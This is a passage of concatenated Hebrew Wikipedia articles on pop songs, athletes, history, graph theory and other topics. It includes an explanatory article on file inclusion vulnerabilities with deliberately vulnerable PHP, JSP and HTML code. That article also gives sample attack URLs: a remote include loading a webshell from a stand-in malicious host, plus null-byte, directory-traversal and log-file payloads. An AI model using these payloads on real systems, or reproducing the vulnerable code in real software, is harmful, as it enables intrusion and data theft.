laion/Wikipedia-Exotic huggingface dataset:
Shape of You

"Shape of You" (בעברית: "הצורה שלך") הוא סינגל שבוצע על ידי הזמר והיוצר הבריטי אד שירן. השיר יצא להורדה דיגיטלית ב-6 בינואר 2017 בתור הסינגל השני מתוך אלבום האולפן השלישי שלו ÷ (2017), יחד עם "Castle on the Hill". השיר הגיע לראש המצעדים של 35 מדינות שונות, כולל בילבורד הוט 100, כמו גם בבריטניה, אוסטרליה וקנדה. השיר שהה במקום הראשון במשך 16 שבועות רצופים בקנדה הוט 100. בישראל השיר נחל הצלחה מסחררת ובמשך 14 שבועות היה השיר הלועזי המושמע ביותר בתחנות הרדיו, הישג שלא הושג על ידי אף אמן לועזי ואף ישראלי. השיר נכנס היישר למקום הראשון במצעד השבועי של גלגלצ ושהה בו 10 שבועות רצופים - השיר השני שהצליח לעשות זאת אחריו הוא השיר Dance Monkey של הזמרת טונס אנד איי, הישג נדיר בתחנה. בסוף שנת 2017 זכה השיר בתואר "שיר השנה" במצעד הפזמונים הבינלאומי השנתי של התחנה ואף זיכה את מבצעו בתואר "איש השנה" לשנה זו. בנוסף הוא זכה במקום הראשון במצעד העשור של גלגלצ (שנערך בשנת 2019). על פי נתוני מדיה פורסט, "Shape of you" הוא השיר המושמע ביותר בישראל לשנת 2017. כמו כן, נכנס השיר לרשימת השירים הנמכרים ביותר בכל הזמנים בגרמניה. ב-4 בינואר 2017 העלה שירן סרטון וידאו של שש שניות על רקע כחול לרשת החברתית, עם המילים "המועדון אינו המקום הטוב ביותר למצוא מאהב", שהן השורה הראשונה של השיר Shape of you. ב-6 בינואר 2017, בעת תוכנית אירוח ברדיו 1, הסביר שירן ש-"Shape of You" נכתב במקור עם ריהאנה. ב-30 בינואר 2017, הווידאו קליפ הרשמי בכיכוב הרקדנית והדוגמנית האמריקאית ג'ני פגוסקי ומתאבק הסומו המקצועי יאמה ריוטה, פורסם בערוץ של שירן. הקליפ צולם בעיר סיאטל, ובוים על ידי ג'ייסון קניג. ב-8 במאי 2017, 97 ימים לאחר השקתו, הפך לאחד מהקליפים שהגיעו באופן המהיר ביותר ל-1 מיליארד צפיות ב-YouTube, וב-17 ביולי 2017, הקליפ צבר מעל 1.8 מיליארד צפיות באתר. נכון ל-25 בינואר 2021, הקליפ הוא הסרטון השלישי הנצפה ביותר ביוטיוב. מידע על הסינגל "Shape of You" באתר מיוזיק בריינז מידע על היצירה "Shape of You" באתר Discogs מילות השיר "Shape of You" באתר Genius סרטון השיר "Shape of You" באתר יוטיוב מידע על השיר "Shape of You" באתר ספוטיפיי "המושמעים ביותר בישראל: הרשימות נחשפות", באתר ‏מאקו‏, 20 בדצמבר 2017 Billboard Global 200, Billboard, ‏2023 (באנגלית אמריקאית) Billboard Global Excl. U.S., Billboard, ‏2023 (באנגלית אמריקאית)
File Inclusion

הכללת קבצים (אנגלית: File Inclusion) היא פגיעות ביישומי אינטרנט לא מבוקרים המסתמכים על זמן ריצה של סקריפט. בעזרת הפגיעות יכול התוקף להחדיר קוד אל שרת אינטרנט ולהריצו באופן מקומי או מרוחק. הפגיעות מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי. במידה ומבוצע אימות, היישום אינו פגיע אך במידה ולא מבוצע אימות, ניתן לשנות את מבנה הנתיב ולגרום לתוכנית לבצע פעולות לא מתוכננות כגון: מעבר בין סיפריות (Directory Traversal), טעינה והרצת קבצים זדוניים, צפייה בקבצים חסויים הדלפת מידע רגיש ועוד. פגיעות זו עשויה להוות בסיס להתקפות נוספות כגון: מניעת שירות (Dos). הזרקת קוד זדוני אל היישום (XSS). הזרקות קוד אל שרת האינטרנט. ישנם 2 סוגי הכללות קבצים: הכללת קבצים מקומית (LFI - Local File Inclusion): תהליך של הכללת קבצים שכבר קיימים באופן מקומי בשרת, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול אך הקלט אינו מסונן ומאומת כראוי, מאפשר הזרקת תווים במקום הקלט המקורי ומקנה לתוקף לבצע פעולות שונות כגון: צפייה בתכנים, מעבר בין סיפריות בעזרת /.. ועוד. הכללת קבצים מרוחקת (RFI - Remote File Inclusion): תהליך של הכללת קבצים מרוחקים, מתרחשת כאשר דף מקבל כקלט את הנתיב אל הקובץ שיש לכלול, אך הקלט אינו מסונן ומאומת כראוי ומאפשר הזרקת כתובת חיצונית והפעלת קבצים מרוחקים במקום הקלט המקורי. בדוגמה שלהלן, פגיעות ביישום הכתוב בשפת PHP: פונקציית ()include מייבאת את הקובץ הרצוי, במידה והוא קיים מציגה אותו למשתמש. כדי לנצל את הפגיעות התוקף יחליף משתנה אחד כדי לגרום לו לכלול קוד זדוני מרוחק. כדי למנוע את הפגיעות, יש לאמת את קלט לפני השימוש בו. <?php if ( isset( $_GET['language'] ) ) { include( $_GET['language'] . '.php' ); } ?> <form method="get"> <select name="language"> <option value="english">English</option> <option value="french">French</option> ... </select> <input type="submit"> </form> הערכים english.php ,french.php, ישנו את התנהגות היישום בהתאם לשפת המשתמש שנבחרה, אך במקומם ניתן להזריק קוד שונה: הכללת קבצים מרוחקת (RFI): /vulnerable.php?language=http://evil.example.com/webshell.txt? הכללת קבצים מקומית (LFI): /vulnerable.php?language=C:\\ftp\\upload\\exploit שימוש בתו Null-Byte: המתעלם מהסיומת ה-PHP ומאפשרת גישה אל קבצים שאינם PHP (תוקן בגרסת PHP 5.3). /vulnerable.php?language=C:\\notes.txt%00 מעבר בין ספריות (Directory Traversal): כדי לגשת אל קובץ passwd במערכות UNIX. /vulnerable.php?language=../../../../../etc/os-release%00 בדוגמה שלהלן פגיעות בקוד JSP, שפת סקריפטים אשר יכולה לכלול קבצים בזמן ריצה: <% String p = request.getParameter("p"); @include file="<%="includes/" + p +".jsp"%>" %> בניגוד לשפת PHP, שפת JSP עדיין מושפעת מהזרקות Null Byte והפרמטר שלהלן יבצע פקודות JSP שנמצאות ביומן הגישה של שרת האינטרנט. /vulnerable.jsp?p=../../../../var/log/access.log%00 בדוגמה שלהלן פגיעות בקוד HTML החשוף לפגיעות של הכללת קבצים מרוחקת (RFI): <HTML> <TITLE>Test File</TITLE> <!--#include file=”USER_LANGUAGE”--> </HTML> CSRF XSS Directory Traversal הזרקת SQL מידע על הכללת קבצים מרוחקת באתר Owasp (באנגלית) מידע על הכללת מקומית באתר Owasp (באנגלית) מידע על הכללת קבצים מקומית באתר Acunetix (באנגלית)
דבורה ווטלינג

דבורה ווטלינג (באנגלית: Deborah Watling;‏ 2 בינואר 1948, לאוטון, אסקס - 21 ביולי 2017, נוריץ', אנגליה) הייתה שחקנית אנגלייה. עיקר פרסומה מגיע מגילום התפקיד של "ויקטוריה ווטרפילד", מלווה של הדוקטור השני בסדרת הטלוויזיה דוקטור הו. ווטלינג נולדה ב-2 בינואר 1948 בלאוטון, אסקס, לשחקן ג'ק ווטלינג (אנ') ולפטרישיה היקס. החל מ-1958 הופיעה בסדרת הטלוויזיה The Invisible Man (אנ'), ושיחקה בסך הכל ב-11 פרקים. ב-1960 הופיעה בשישה פרקים בסדרה "A Life of Bliss" לצד ג'ורג' קול. בשנת 1967 החלה להופיע בסדרה דוקטור הו, בתפקיד ויקטוריה ווטרפילד, מלווה של הדוקטור השני (בגילומו של פטריק טרוטון), וב-1968 עזבה את הסדרה. ב-1973 כיכבה יחד עם קליף ריצ'רד בסרט "Take me high". ווטלינג נפטרה ב-21 ביולי 2017. מדיה וקבצים בנושא דבורה ווטלינג בוויקישיתוף דבורה ווטלינג, במסד הנתונים הקולנועיים IMDb (באנגלית) דבורה ווטלינג, באתר Rotten Tomatoes (באנגלית) דבורה ווטלינג, באתר Discogs (באנגלית) האתר של ווטלינג דבורה ווטלינג, באתר "Find a Grave" (באנגלית) Victoria Waterfield‏ (Deborah Watling), באתר ה-BBC, ‏‏24 בספטמבר 2014 (באנגלית).
אליפות ברזיל בכדורגל 1996

אליפות ברזיל בכדורגל 1996 הייתה הפעם ה-40 בו נערכה תחרות ארצית בכדורגל בברזיל. היא אורגנה על ידי קונפדרציית הכדורגל הברזילאית. המשחקים החלו ב-8 באוגוסט 1996 והסתיימו ב-15 בדצמבר 1996. בתחרות השתתפו 24 קבוצות. אתלטיקו פרנאאנסה וקוריטיבה היו הקבוצות שהעפילה מליגת משנה. בשלב ראשון נערכו 23 מחזורים בשיטת משחק בית ומשחק חוץ. 8 קבוצות העפילו להמשך התחרות. במהלך שלב הבתים של האליפות עבור הניצחון הוענקו שלוש נקודות ונקודה עבור תיקו. במהלך שלבי הגמר, במידה ומפגש כפול לא נתן הכרעה, הקבוצה עם הישג טוב יותר בשלב הקודם העפילה להמשך התחרות. גרמיו זכתה באליפות. זו הייתה הזכייה השנייה בתולדות המועדון. בסיום העונה פלומיננסה וברגנטינו היו אמורות לרדת לליגת משנה. אומנם קונפדרציית הכדורגל הברזילאית שינתה את מתכונת התחרות והחליטה להגדיל את הליגה בעונה הקרובה ל-26 קבוצות. לקראת העונה החדשה לליגה הבכירה עלו אוניון סאם חוזה ואמריקה (נאטאל). גרמיו זכתה בעקבות הישג טוב יותר בשלב הבתים. פאולו נונייס, שחקנה של גרמיוורנלדו שחקנה של אתלטיקו מיניירו כבשו 16 שערים וזכו בתואר מלך השערים של האליפות. זאת העונה השנייה ברציפות. ג'למיניה, שחקנה של פלמיירס זכה בפרס "כדור הזהב" לכדורגלן העונה. נתונים מאתר rsssf נתונים מאתר futpedia
ויקיפדיה הלטבית

ויקיפדיה הלטבית (לטבית: Vikipēdija latviešu valodā) היא המהדורה בלטבית של ויקיפדיה, האנציקלופדיה החופשית שמופעלת בידי קרן ויקימדיה. נכון ל-22 בספטמבר 2024 ישנם בוויקיפדיה הלטבית 129,941 ערכים ו-269 משתמשים פעילים. ויקיפדיה הלטבית נוצרה ב-6 ביוני 2003. והיא ויקיפדיה השנייה בגודלה מקרב השפות הבלטיות. ויקיפדיה הלטבית פעילה ברשתות החברתיות ומפעילה חשבונות פייסבוק וטוויטר. ויקיפדיה הלטבית נוסדה ב-6 ביוני 2003. באותו היום נכתב הערך הראשון - פסיכולוגיה. הדף הראשי בוויקיפדיה הלטבית נכתב ארבעה חודשים מאוחר יותר - ב-6 באוקטובר 2003. בתחילה ויקיפדיה הלטבית לקתה בחסר וכמה ערכים על דברים חשובים בתרבות הלטבית היו חסרים. המאמר על ליגווה, לדוגמה, נכתב רק במרץ 2008. עם זאת, קצב הצמיחה של ויקיפדיה הלטבית הוא יציב מאז 2006. החל מ-30 בספטמבר 2013, העורך החזותי זמין לכל המשתמשים הרשומים והחל מ-7 באוקטובר 2013 הוא זמין לכל העורכים. מרתון ויקיפדיה הלטבית (לטבית: Latvijas Vikipēdijas maratons) הוא פרויקט שנועד להרחיב את ויקיפדיה הלטבית במטרה להגדיל את השימושיות של השפה הלטבית. 6 ביוני 2003 - הערך הראשון 28 בדצמבר 2004 - הערך ה-500 5 במרץ 2005 - הערך ה-1,000 15 באוקטובר 2005 - הערך ה-2,500 7 בספטמבר 2006 - הערך ה-5,000 19 ביולי 2007 - הערך ה-10,000 13 בפברואר 2009 - 20,000 ערכים 19 בספטמבר 2010 - 30,000 ערכים 19 בפברואר 2012 - 40,000 ערכים 17 באוגוסט 2013 - 50,000 ערכים 3 במרץ 2015 - 60,000 ערכים 19 ביוני 2016 - 70,000 ערכים מאז 31 באוקטובר 2012, ויקיפדיה הלטבית מציגה הודעה המעודדת משתמשים לחתום על עצומה במטרה לשנות את חוק זכויות היוצרים בלטביה, המאפשר צילום תמונות של עבודות אדריכלות ומונומנטים - אך רק למטרות פרסום. אם החוק ישתנה, תמונות של מבנים ציבוריים בלטביה יוכלו להיות בשימוש גם בוויקיפדיה. בניגוד לוויקיפדיה האנגלית, אין דרישה בוויקיפדיה הלטבית להתחבר לחשבון על מנת ליצור ערך חדש במיזם. שלא כמו רוב הוויקיפדיות בעולם - ויקיפדיה הלטבית אימצה גאדג'טים מאוחר מאוד, במאי 2014. נכון ליולי 2017, 78,000 הערכים בוויקיפדיה הלטבית מהווים כ-28% מכלל הערכים שנכתבו במשפחת השפות הבלטיות, מה שהופך את ויקיפדיה הלטבית לשנייה בגודלה במשפחת השפות, לאחר ויקיפדיה הליטאית, המהווה 66%. הלוגו המקורי של ויקיפדיה הלטבית. החל מ-22 בספטמבר 2004 עד 1 ביוני 2005 ויקיפדיה הייתה מאויתת עם האות W. לוגו לזכר קורבנות קריסת המרכז המסחרי בריגה (23-26 בנובמבר) מדיה וקבצים בנושא ויקיפדיה הלטבית בוויקישיתוף אתר האינטרנט הרשמי של ויקיפדיה הלטבית (בלטבית) ויקיפדיה הלטבית, ברשת החברתית פייסבוק ויקיפדיה הלטבית, ברשת החברתית אקס (טוויטר) ויקיפדיה הלטבית, ברשת החברתית אינסטגרם All Wikipedias ordered by number of articles. סדר יצירת וויקיפדיות שונות, ויקימדיה דירוג הוויקיפדיות על פי משפחות שפות, ויקימדיה - מטא-ויקי דף הפייסבוק של ויקיפדיה הלטבית, באתר פייסבוק חשבון הטוויטר של ויקיפדיה הלטבית, באתר טוויטר Wikipedia Statistics - Plots - Article count (official) - Europe העורך החזותי, מדיה-ויקי (באנגלית) גילוי נאות: ערך זה מזכיר את קרן ויקימדיה או את אחד המיזמים שלה. ויקיפדיה היא מיזם של קרן ויקימדיה.
Sing (שיר של אד שירן)

Sing (בעברית: לשיר) הוא שיר שבוצע על ידי הזמר והיוצר האמריקאי אד שירן. השיר נכתב על ידי שירן יחד עם פארל ויליאמס, אשר מפיק את השיר. השיר יצא לאור ב-7 באפריל 2014, בתור הסינגל הראשון מאלבום האולפן השני של שירן, × (2014). לאחר זמן קצר, הפך "Sing" לשיר הראשון של שירן שכבש את מצעד הסינגלים בבריטניה. כמו כן, השיר הגיע לראש המצעדים גם באוסטרליה, ניו זילנד ואירלנד וכן למקום 13 בבילבורד הוט 100 שבארצות הברית. השיר נכתב על ידי אד שירן ופארל ויליאמס, וכן הופק על ידו. ויליאמס אף השתתף בקולות הרקע במהלך הפזמון. אורך השיר הוא 3 דקות ו-55 שניות. שירן הפיק השראה מהפופ וסגנון ה-R&B הייחודי של ג'סטין טימברלייק, וקבע: "זה היה די קרוב להשראה ישירה". מילות השיר הן על בילוי לילי בווגאס. "Sing" שוחרר בבריטניה, אירלנד אוסטרליה וגרמניה במאי 2014. מלבד מדינות אלו, "Sing" יצא בעולם ב-7 באפריל 2014, בצ'אט ביוטיוב, בשידור חי עם שירן. הקליפ לשיר "Sing" שוחרר באופן בלעדי לדף הפייסבוק של שירן ב-22 במאי 2014, ויצא ב-Vevo וב-YouTube ב-23 במאי, בדיוק חודש לפני האלבום. הקליפ עוקב אחר קריקטורה של שירן בבילוי לילי שבמהלכו הוא משתכר. כמו כן, שירן ופארל זכו בפרס הסרט "Best Male Video" בטקס פרסי הווידאו של MTV לשנת 2014 עבור הסרטון. מידע על היצירה "Sing" באתר מיוזיק בריינז מידע על הסינגל "Sing" באתר מיוזיק בריינז סרטון השיר "Sing" באתר יוטיוב Gold & Platinum, באתר איגוד תעשיית ההקלטות האמריקאי (באנגלית)
אביאור מלסה

אביאור מלסה (נולד ב-2 בדצמבר 1995) הוא זמר, יוצר ומלחין ישראלי. אביאור נולד בישראל, למשפחה שעלתה בשנת 1991 מאתיופיה. כשהיה בן שמונה, עזב אביו את משפחתו. מלסה מתגורר בבאר שבע ביחד עם אמו ושני אחיו. שירת בצה"ל בבסיס צאלים. תחילת הקריירה המוזיקלית של מלסה החלה ב-2015 כאשר שיתף פעולה עם להקת KGC בשיר "מהמתוק אל המר", השיר זכה לביקורות חיוביות על התוכן שלו וזכה להצלחה. ביוני 2016 הוציא את סינגל הבכורה שלו "קיץ", השיר זכה להצלחה גדולה והיה לאחד השירים המצליחים ביותר של אותה שנה לאחר שנכנס לפלייליסט של גלגלצ והגיע לשלישי במצעד השירים של מדיה פורסט, בספטמבר אותה שנה הוציא אביאור את הסינגל השני שלו "מצאנו אהבה" בו הוא מארח את הראפר איזי ובדצמבר הוציא את הסינגל "הכל", השיר הצליח לשחזר את הצלחת סינגל הבכורה שלו, הגיע למקום שני במצעד השבועי של מדיה פורסט, היה לשירו השני להיכנס לפלייליסט של גלגלצ ואף הגיע למקום ה-20 במצעד השנתי של התחנה לשנת תשע"ז. במהלך שנת 2017 הוציא מלסה שלושה סינגלים מתוך אלבום הבכורה שלו: "מקום לשינוי" - שיתוף פעולה עם הזמרת נועה קירל, "גיבור" ו"ככה אנשים" שזכה להצלחה והגיע למקום שביעי במצעד השבועי של מדיה פורסט. האלבום המלא שנושא את השם של מלסה יצא לאור ב-31 באוקטובר 2017 בחברת ארומה מיוזיק, שבה יוצג באותה עת. מהמתוק אל המר קיץ מצאנו אהבה מקום לשינוי הכל יהלום גיבור ככה אנשים נשימה אין חדש לב שיכור אביאור מלסה, סרטונים בערוץ היוטיוב אביאור מלסה, באתר ספוטיפיי אביאור מלסה, דף שער בספרייה הלאומית גילי נוי, ‏"החלום זה מדיסון סקוור גרדן", באתר ‏מאקו‏, 30 ביוני 2016 עמי פרידמן, עכשיו ביחד: הדואט של אביאור מלסה ונועה קירל, באתר ynet, 14 במאי 2017 ערן סויסה, נא להכיר אביאור מלסה, באתר ישראל היום, 20 ביולי 2016 נבו זיו, הקיץ של מלסה, באתר "ידיעות אחרונות", 13 בספטמבר 2016 רן בוקר, "רציתי לעזור לאימא וגם למלא אולמות", באתר ynet, 22 במאי 2018 ערן סויסה, מוזיקה, באתר ישראל היום, 20 ביולי 2016 ערך זה הוא קצרמר בנושא ישראלים. אתם מוזמנים לתרום לוויקיפדיה ולהרחיב אותו.
אקסל ריימונד

אקסל ריימונד (בצרפתית: Axel Reymond; נולד ב-13 בפברואר 1994) הוא שחיין צרפתי, פעמיים ברציפות אלוף העולם (בודפשט 2017 וקוואנגג'ו 2019), פעמים ברציפות אלוף אירופה (ברלין 2014 והורן 2016) ו-6 פעמים ברציפות אלוף צרפת (2012 - 2017) בשחייה במים פתוחים במשחה הארוך ביותר ("המרתון" של השחייה) ל-25 ק"מ. ריימונד נולד בפריז. הוא החל לשחות בגיל 6. בגיל 14 החל להשתתף בתחרויות בשחייה במים פתוחים. אותה שנה הוא זכה במדליית כסף באליפות צרפת לגילו במשחה ל-10 ק"מ. באליפות אירופה בשחייה במים פתוחים שנערכה בפיומבינו, איטליה ב-2012 זכה ריימונד במדליית ארד, במשחה ל-25 ק"מ בתוצאה של 5:04:06.30, לפני פטר סטוייצ'ב מבולגריה וארסני לברנטייב מפורטוגל. נוסף לכך, הוא סיים במקום 15 במשחה ל-10 ק"מ בתוצאה של 1:59:57.80 שעות. באליפות העולם שנערכה בברצלונה שבספרד ב-2013 סיים ריימונד במקום 20 במשחה ל-25 ק"מ בתוצאה של 4:53:47.2 שעות ובמקום 40 במשחה ל-10 ק"מ בתוצאה של 1:50:33.0 שעות. באליפות אירופה שנערכה בברלין, גרמניה באוגוסט 2014 זכה ריימונד מדליית זהב במשחה ל-25 ק"מ בתוצאה של 4:59:18.8 שעות, לפני יבגני דרצב מרוסיה (4:59:31.2 שעות) ואדוארדו סטוקינו מאיטליה (5:08:51.0 שעות). נוסף לכך, הוא סיים במקום תשיעי במשחה ל-10 ק"מ בתוצאה של 1:50:07.6 שעות. באליפות העולם שנערכה בקאזאן שברוסיה ב-2015 סיים ריימונד במקום רביעי במשחה ל-25 ק"מ בתוצאה של 4:55:55.8 שעות, במקום 12 במשחה ל-10 ק"מ בתוצאה של 1:50:28.4 שעות ובמקום 22 במשחה ל-5 ק"מ בתוצאה של 55:31.8 דקות. באליפות אירופה בשחייה במים פתוחים שנערכה בהורן, הולנד ביולי 2016 זכה ריימונד במדליית זהב, במשחה ל-25 ק"מ בתוצאה של 5:02:22.00 שעות, לפני מטאו פורלן ואדוארדו סטוקינו שניהם מאיטליה. באליפות העולם שנערכה בבודפשט, הונגריה ביולי 2017 זכה ריימונד במדליית זהב במשחה ל-25 ק"מ בתוצאה של 5:02:46.4 שעות, לפני מטאו פורלן (5:02:47.0 שעות) ויבגני דרצב מרוסיה (5:02:49.8 שעות). באליפות העולם שנערכה בקוואנגג'ו, קוריאה הדרומית ביולי 2017 זכה ריימונד במדליית זהב במשחה ל-25 ק"מ בתוצאה של 4:51:06.2 שעות, לפני קיריל בלייב מרוסיה (4:51:06.5 שעות) ואלסיו אוקיפינטי מאיטליה (4:51:09.5 שעות) ובכך הגן על תוארו. מדיה וקבצים בנושא אקסל ריימונד בוויקישיתוף אתר האינטרנט הרשמי של אקסל ריימונד (בצרפתית) אקסל ריימונד, ברשת החברתית פייסבוק אקסל ריימונד, ברשת החברתית אקס (טוויטר) אקסל ריימונד, ברשת החברתית אינסטגרם אקסל ריימונד, סרטונים בערוץ היוטיוב אקסל ריימונד, סרטונים באתר Vimeo אקסל ריימונד, באתר פינטרסט אקסל ריימונד, באתר Swimrankings
אליהו טמלר

אליהו טמלר (כונה "יהושע"; 25 באוגוסט 1919 – 30 באפריל 1948) היה לוחם ומפקד במחתרת האצ"ל. הוביל מספר רב של פעולות נגד הכובש הבריטי שכללו החרמות נשק וחבלה בתשתיות של השלטון העברי והבריטי בארץ. נהרג במערכה לשחרור יפו. אליהו אדי טמלר נולד ב-1919 בזאסטוונה שברומניה (בתחומי אוקראינה של ימינו) לאברהם וסבינה טמלר. למד בבית ספר עממי בעיר הולדתו ובגימנסיה בעיר השכנה צ'רנוביץ. אביו היה פעיל ציוני, מה שהביא את טמלר להצטרף לתנועת הנוער "חשמונאים". ב-1939 עלה לארץ כמעפיל באניה פאריטה, שהפליגה מנמל קונסטנצה ב-12 ביולי כשעל סיפונה 857 פעילי תנועת בית"ר, ולאחר 42 ימי הפלגה קשים עגנה בחוף תל אביב. עם הגיעו הצטרף טמלר לפלוגות בית"ר שפעלו בארץ ובהמשך למחתרת אצ"ל והיה פעיל בשורותיו. ב-1942 נעצר על ידי הבריטים בחיפה ונשלח למחנה מעצר ליד מזרע משם שוחרר במרץ 1943. לאחר שחרורו מונה למפקד הפעילות המבצעית של האצ"ל במחוז פתח-תקוה ובהמשך במחוז תל אביב. במסגרת תפקידו זה תכנן והוציא לפועל מספר רב של פעולות כנגד השלטונות הבריטים ושלטונות הישוב: החרמת משאית חומרי נפץ בדרך למחצבות מגדל צדק. פיצוץ עמודי תקשורת באזור פתח תקווה (1945) החרמת נשק ממחסני הצבא הבריטי בסרפנד. התקפה על משרדי העלייה והמכס בחיפה (12 בפברואר 1944) פיצוץ קווי נפט (מאי 1945) החרמת חומרי נפץ ממחסני חברת סולל בונה (אוגוסט 1945) התקפה על משטרת חיפה (29 בספטמבר 1945) התקפה על תחנת הרכבת לוד במסגרת ליל הרכבות (1 בנובמבר 1945) חבלה בבניין הבולשת הבריטית ביפו (27 בדצמבר 1945) החרמת נשק במחנה בריטי ליד רחובות. ב-2 באפריל 1946, כשחיכה לחוזרים מההתקפה על מתקני הרכבת בדרום, נתפס על ידי הבריטים כשהוא נושא נשק, נשפט לשבע שנות מאסר ונכלא בבית הסוהר המרכזי בירושלים. ב-20 בפברואר 1948 הצליח, יחד עם עוד 11 אסירים נוספים ממחתרות אצ"ל ולח"י, לחפור מנהרה ולברוח מהכלא. אחרי בריחתו זו מונה לתפקיד מרכזי במטה הארצי של האצ"ל. במסגרת זו פעל להוצאת נשק וחומרי נפץ ממחנות בריטים: פעולה נגד הכפר קאקון (8 במרץ 1948) החרמת פגזי מרגמה מרכבת בריטית כשחנתה ליד בנימינה (אפריל 1948) החרמת נשק ממחנה 80 (6 באפריל 1948) ב-25 באפריל 1948 היה טמלר בין מפקדי האצ"ל בפעולה לשחרור יפו. במהלך פעולה זו נפגע מפגז בריטי ונהרג. מנחם בגין, שהכירו מקרוב ספד לו: אליהו הלך - לא היה טוב ממנו בארגון. הובא לקבורה בחלקה הצבאית בבית הקברות נחלת יצחק. בריחת 12 אסירי המחתרות מבית הסוהר המרכזי בירושלים התקפת האצ"ל על יפו משה בן-שאול, מעלות לוחמים - עשרים ושלשה פרקי לוחמים, הוצאת הדר, 1967, עמודים 202–217 בנימין עדות, אליהו טמלר, גונדר יהושע - ברית חיילי הארגון הצבאי הלאומי, "הוצאת אותפז" דוד תדהר (עורך), "אליהו טמלר", באנציקלופדיה לחלוצי הישוב ובוניו, כרך י (1959), עמ' 3643 גונדר אליה טמלר (סנד) ז"ל (אורכב 18.02.2020 בארכיון Wayback Machine), באתר מוזיאון האצ"ל קורות החיים של אליהו טמלר, באתר "יזכור" של משרד הביטחון אליהו טמלר, באתר עמותת לח"י ההתקפה על המחנה הצבאי בצריפין (סרפנד), באתר "מכללת הרצוג" אליהו טמלר (גונדר יהושע) - דיוקן, בארכיון מכון ז'בוטינסקי ציון לנופלים - אליהו טמלר, חרות, 5 במאי 1949 א-צור, בדמם שחררו את יפו - כבוד לזכרם, המשקיף, 28 במאי 1948 בפעולה זו התחפשו טמלר ואנשיו לצנחנים בריטים פעולה זו בוצעה כנגד יחידה בריטית שרוב חייליה היו יהודים וכשבמקביל מתקיימות שיחות תיאום בין המחתרות. אי לכך לא ניתן אישור מפקדי המחתרת לביצוע ובהתאם לכך נשפטו כל משתתפיה אצ"ל: התקפה על מתקני הרכבת, באתר "מכללת הרצוג" בהאסרו מסר את השם "אליהו סנד", שם שדבק בו גם לאחר שחרורו
קליקה (תורת הגרפים)

בתורת הגרפים, קליקה היא קבוצת קודקודים בגרף בלתי מכוון, אשר כל זוג קודקודים שונים בה מחובר על ידי קשת; כלומר, תת-הגרף המושרה על ידה מהווה גרף שלם. קליקה בגרף בלתי מכוון G = ( V , E ) {\displaystyle G=(V,E)} היא תת-קבוצה C ⊆ V {\displaystyle C\subseteq V} כך שבין כל זוג קודקודים שונים בקבוצה קיימת קשת. קליקה מקסימלית או קליקה מרבית בגרף בלתי מכוון G {\displaystyle G} היא קליקה שלא ניתנת להרחבה על ידי הוספת קודקוד נוסף לקבוצה, כלומר קליקה אשר לא חלקית לקליקה גדולה יותר. קליקת מקסימום בגרף בלתי מכוון G {\displaystyle G} היא קליקה, כך שלא קיימת בגרף קליקה בעלת מספר קודקודים גדול יותר. מספר הקליקה בגרף בלתי מכוון G {\displaystyle G} מסומן ω ( G ) {\displaystyle \omega (G)} ושווה לגודל המקסימלי של קליקה ב־ G {\displaystyle G} . במדעי המחשב, בעיית הקליקה היא הבעיה החישובית שבמציאת קליקת מקסימום בגרף בלתי מכוון נתון. בעיה זו היא בעיה NP-שלמה, ומהווה אחת מ-21 הבעיות ה-NP-שלמות של קארפ. לבעיה זו פותחו מספר אלגוריתמים בעלי זמן ריצה מעריכי, אולם קיימים לבעיה גם פתרונות בעלי זמן ריצה פולינומי בסוגי גרף מסוימים, כגון גרף מישורי וגרף מושלם. משפט רמזי קליקה, באתר MathWorld (באנגלית) Clique, באתר MathWorld
אנדרטת אוניית המעפילים אקסודוס

אנדרטת אוניית המעפילים אקסודוס היא אנדרטה שהוקמה להנצחת מסעה של אוניית המעפילים אקסודוס שהפליגה לחופי ארץ ישראל מצרפת ביולי 1947 ומעפיליה גורשו בחזרה לאירופה. האנדרטה הוקמה בתוך טרמינל הנוסעים של נמל חיפה ונחנכה ב-18 ביולי 2017, במלאת 70 שנה למסעה של האונייה. ערך מורחב – אקסודוס (אוניית מעפילים) אקסודוס או יציאת אירופה תש"ז הוא שמה של אוניית מעפילים שיצאה מחופי דרום צרפת ב-11 ביולי 1947, כשעל סיפונה 4,515 נוסעים ניצולי שואה, במטרה להגיע לארץ ישראל. בין הנוסעים היו 1,282 נשים, 1,561 גברים, 1,017 נערים ו-655 ילדים. הנוסעים לא הורשו להיכנס לתחומי הארץ, והוחזרו בכוח למחנות העקורים בגרמניה, לאחר מאבק מר. לאחר שנלכדה האונייה על ידי הבריטים, הם הביאו אותה לנמל חיפה ושם הועברו המעפילים לאוניות גירוש שהפליגו בחזרה לנמל פורט דה-בוק שממנו הפליגה האונייה ומשסירבו המעפילים לרדת מאוניות הגירוש ולאחר שממשלת צרפת, ששלטה אז על הנמל, הודיעה כי לא תוריד את המעפילים בכוח, הפליגו האוניות לנמל המבורג, שהיה אז בשליטה בריטית. בהמבורג ירדו המעפילים, חלקם לאחר שאולצו בכוח וחלקם בלית ברירה, אל החוף ושוכנו במחנות. אחרון מעפילי אקסודוס עלה ארצה ב-7 בספטמבר 1948. על רקע היותו של נמל חיפה נקודה חשובה במסעה של אקסודוס, הוחלט להקים את האנדרטה במסוף הנוסעים שלו. האנדרטה, שניצבת באולם הנוסעים של נמל חיפה, עוצבה על ידי המעצב האמריקאי סם פיליפ (Sam Philipe) והמימון להקמתה נתרם על ידי האגודה האמריקאית לשימור היסטוריה. בטקס חנוכת האנדרטה לקחו חלק גם נציגים מהשגרירות הנוצרית הבינלאומית ירושלים, יושב ראש הסוכנות היהודית, נתן שרנסקי, נציגי שגרירות ארצות הברית בישראל, שר הבינוי והשיכון, יואב גלנט כנציג הממשלה, שאמו פרומה נמנתה על הילדים שהפליגו באקסודוס ונכחה אף היא בטקס, שרון הראל בתו של יוסי הראל שהיה הקפטן של הספינה מעפילי האונייה ובני משפחותיהם. בנוסף הופיעו בטקס הפתיחה הזמרת שולי נתן בשיר "הו רב חובל" של נעמי שמר ובשיר ירושלים של זהב והזמרת הישראלית אמריקאית Noy. האנדרטה מוצבת בכניסה לאולם הנוסעים בנמל חיפה, ומעוצבת בצורת מפת תבליט של ארץ ישראל בשילוב עם עוגן ולצידה מיצגים בשפות עברית, ערבית ואנגלית המספרים את סיפורה של האונייה. האנדרטה שצבעה חום כהה מונחת על גבי לוח שיש בצבעים לבן, קרם וורוד. מצד שמאל של האנדרטה על גבי השיש יש כתובת באנגלית באותיות מוזהבות ” Exodus 1947 - The ship that launched a 